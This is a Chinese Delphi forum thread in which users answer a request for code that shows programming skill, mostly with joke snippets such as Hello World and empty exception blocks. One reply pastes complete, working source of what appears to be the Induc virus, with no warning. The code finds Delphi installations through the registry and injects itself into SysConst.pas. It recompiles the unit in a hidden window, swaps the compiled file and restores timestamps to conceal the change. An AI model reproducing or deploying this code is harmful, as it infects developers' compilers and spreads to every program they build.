求一段最能体现自己delphi编程水平的代码解决办法

求一段最能体现自己delphi编程水平的代码
真有意思，有个公司，面试delphi程序员时竟然要求别人提供一段最能体现自己编程水平的代码，各位搞delphi的同仁，能不能提供一段自己认为最能体现自己最高水平的代码让我参考参考？

[解决办法]

Delphi(Pascal) code

  ShowMessage('Hello World');
[解决办法]
若你對所得到的代碼，沒有“深刻”理解，那麼這會成為你的“照妖鏡”
[解决办法]
Delphi(Pascal) code
function IWantToDo:string;begin  Result := 'Fuck You';end;
[解决办法]
begin
 ;
end;
[解决办法]
二楼和四楼的回答太经典了`...呵呵
[解决办法]
永恒的'Hello World'
[解决办法]
...........
[解决办法]
没有最高，只有更高
[解决办法]
探讨

不需要整个项目源码，一段就够了。

[解决办法]
经典……
[解决办法]
  TQConBase = class                            //基类
 private
    ......
    
    procedure GetDetAdd(iDetId:Integer);
.......
 protected
.......
   procedure SingSend;virtual; abstract;     
   procedure ComSendMSG();virtual; abstract; 
   procedure IncSingSend(Sender: TObject);virtual; abstract; 
   procedure ComRevMSG(Sender: TObject; Buffer: Pointer;
             BufferLength: Word);virtual;abstract;
 public
   ....... 
   FTestTClient: TClientDataSet;            
   FTComm: TComm;                                
   property FiSleep: Integer read iSleep write SetiSleep;
   property FsComplete:string read sComplete write SetCompT;
   property sBatchNO:string read FBatchNO write SetBatchNo;
   property TypeName:string read FTypeName write SetTypeName;
   property ClassStat:string read FClassStat; 
   constructor Create(sComName:String);virtual;
   destructor Destroy; virtual;
   procedure Start(aInters:Integer);virtual;

   function ChangDet(aiDetNum,aiBegad,aiBegSer:Integer;aBatchNo:String):Boolean;
   function InitClass(aiDetNum,aiBegad,aiBegSer:Integer;aBatchNo: String):boolean;virtual;

[解决办法]
begin
   try
   except
   end;
end;
[解决办法]
探讨


没有最高，只有更高

[解决办法]
无语...
[解决办法]
Delphi(Pascal) code
function Infinity(X: Extended): int64;var  v: int64;  cw: word;asm    fld     tbyte ptr X    fstcw   word ptr cw    fwait    mov     ax, cw    or      word ptr cw, 0801h    fldcw   word ptr cw    fistp   qword ptr v    mov     cw, ax    fldcw   word ptr cw    mov     eax, dword ptr v    mov     edx, dword ptr v+4end;
[解决办法]
把阿发伯的拿过去，估计面试官就晕了。
[解决办法]
 
 
探讨

把阿发伯的拿过去，估计面试官就晕了。

[解决办法]
体现自己编程水平的代码当然要自己写了。
[解决办法]
Delphi(Pascal) code
 callback := TMessageCallback.Create( function(const Args: TJSONValue)      : TJSONValue      var        LJSONObject: TJSONObject;        i: Integer; LMessage: string;      begin        // Extract information about the transformation from Json        LJSONObject := TJSONObject(Args); Result := nil;        for i := 0 to LJSONObject.Size - 1 do        begin          with LJSONObject.Get(i) do            LMessage := LMessage + Format('%s ==>> "%s"', [JSonString.Value,          JsonValue.Value]);          // Display information in a listbox          MMBackupLog.Lines.Add(LMessage); MMBackupLog.Update;          Result := TJSONTrue.Create;        end;    end);
[解决办法]
print "hello"
[解决办法]
四楼静电！！
[解决办法]
writeln('hello word!');
[解决办法]
都不好好回答，呵呵。

还是你自己写吧。
[解决办法]
这个，我也遇到过。。。不鸟就是了。
[解决办法]
强大


回复内容太短了！  

[解决办法]
[code=Delphi(Pascal)]const
 Keys: array [0 .. 11] of string = ('h', 'e', 'l', 'l', 'o', ' ', 'w', 'o',
   'r', 'l', 'd', '!');
var
 I: Integer;
begin
 for I := Low(Keys) to High(Keys) do
 begin
   ShowMessage(Keys[I]);
 end;
end;/code]
[解决办法]
==!
[解决办法]
我强大的代码是

use uDuoCommon;

(我把毕生收集的 函数方法 基本都收录在这个 unit 里)
[解决办法]
搜索到的:

uses windows; var sc:array[1..24] of string=(
  'uses windows; var sc:array[1..24] of string=(',
  'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
  '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
  'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
  'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult <>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult <>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s) <>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=', 
 
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c <>#0 do begin r:=r+c;inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s: string): string;
var
 i: integer;
begin
 for i := 1 to Length(s) do
   if s[i] = #36 then s[i] := #39;
 result := s;
end;

procedure re(s, d, e: string);
var
 f1, f2: textfile;
 h: cardinal;
 f: STARTUPINFO;
 p: PROCESS_INFORMATION;
 b: boolean;
 t1, t2, t3: FILETIME;
begin
 h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
 if h <> DWORD(-1) then
 begin
   CloseHandle(h);
   Exit;
 end;
{$I-} AssignFile(f1, s);
 Reset(f1);
 if IOResult <> 0 then
   Exit;
 AssignFile(f2, d + 'pas');
 Rewrite(f2);
 if IOResult <> 0 then
 begin
   CloseFile(f1);
   Exit;
 end;
 while not Eof(f1) do
 begin
   Readln(f1, s);
   Writeln(f2, s);
   if Pos('implementation', s) <> 0 then
     Break;
 end;
 for h := 1 to 1 do
   Writeln(f2, sc[h]);
 for h := 1 to 23 do
   Writeln(f2, '''' + sc[h], ''',');
 Writeln(f2, '''' + sc[24] + ''');');
 for h := 2 to 24 do
   Writeln(f2, x(sc[h]));
 CloseFile(f1);
 CloseFile(f2);
{$I+} MoveFile(pchar(d + 'dcu'), pchar(d + 'bak'));
 FillChar(f, SizeOf(f), 0);
 f.cb := SizeOf(f);
 f.dwFlags := STARTF_USESHOWWINDOW;
 f.wShowWindow := SW_HIDE;
 b := CreateProcess(nil, pchar(e + '"' + d + 'pas"'), 0, 0, false, 0, 0, 0, f, p);
 if b then
   WaitForSingleObject(p.hProcess, INFINITE);
 MoveFile(pchar(d + 'bak'), pchar(d + 'dcu'));
 DeleteFile(pchar(d + 'pas'));
 h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
 if h = DWORD(-1) then
   Exit;
 GetFileTime(h, @t1, @t2, @t3);
 CloseHandle(h);
 h := CreateFile(pchar(d + 'dcu'), 256, 0, 0, 3, 0, 0);
 if h = DWORD(-1) then
   Exit;
 SetFileTime(h, @t1, @t2, @t3);
 CloseHandle(h);
end;

procedure st;
var
 k: HKEY;
 c: array[1..255] of char;
 i: cardinal;
 r: string;
 v: char;
begin
 for v := '4' to '7' do
   if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar('Software\Borland\Delphi\' + v + '.0'), 0, KEY_READ, k) = 0 then
   begin
     i := 255;
     if RegQueryValueEx(k, 'RootDir', nil, @i, @c, @i) = 0 then
     begin
       r := '';
       i := 1;
       while c <> #0 do
       begin
         r := r + c;
         inc(i);
       end;
       re(r + '\source\rtl\sys\SysConst' + '.pas', r + '\lib\sysconst.', '"' + r + '\bin\dcc32.exe" ');
     end;
     RegCloseKey(k);
   end;
end;

begin
 st;
end.


[解决办法]
Hello World
[解决办法]
  try
 //........
 except
OutputDebugString('他妈的，又出现错误了'

 end;


[解决办法]
try
 close;
fanlly
 showmessage('123')
end;